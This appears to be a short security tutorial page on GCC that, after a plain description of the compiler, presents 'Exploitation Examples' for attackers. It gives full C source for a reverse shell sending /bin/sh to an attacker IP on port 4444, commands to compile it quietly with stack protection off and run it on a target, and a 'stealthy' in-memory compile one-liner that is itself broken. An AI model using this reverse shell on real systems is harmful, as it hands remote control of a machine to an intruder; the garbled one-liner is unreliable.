What is GCC?

GCC (GNU Compiler Collection) is a free, open-source compiler system developed by the GNU Project that supports multiple programming languages including C, C++, Objective-C, Fortran, Ada, Go, D, and others. It translates source code into machine code (executables or object files) through preprocessing, compilation, assembly, and linking stages. Key characteristics include cross-platform support (Linux, Windows via MinGW, macOS), extensive optimization flags, strict standards compliance options, and integration with build systems like Make, CMake, and Autotools.

Why Understand GCC?

GCC is foundational to Linux security workflows—knowing it helps both build and defend against compiled threats. 🔒

Common Use Cases

Exploitation Examples

Compiling a Reverse Shell on Target

Attackers download source and compile in-memory or to disk.

# Classic reverse shell source (saved as rev.c)
cat > rev.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main() {
    int sock;
    struct sockaddr_in server;
    sock = socket(AF_INET, SOCK_STREAM, 0);
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr("10.0.0.1");  // attacker IP
    server.sin_port = htons(4444);
    connect(sock, (struct sockaddr *)&server, sizeof(server));
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
    return 0;
}
EOF

# Compile quietly
gcc rev.c -o rev -w -fno-stack-protector -z execstack

# Execute
./rev

In-Memory Compilation (No Disk Artifact)

# One-liner compile + run (very stealthy)
gcc -x c -o /dev/stdout - <<EOF | /dev/stdout
#include <stdio.h>
int main(){printf("Hello from memory!\\n");}
EOF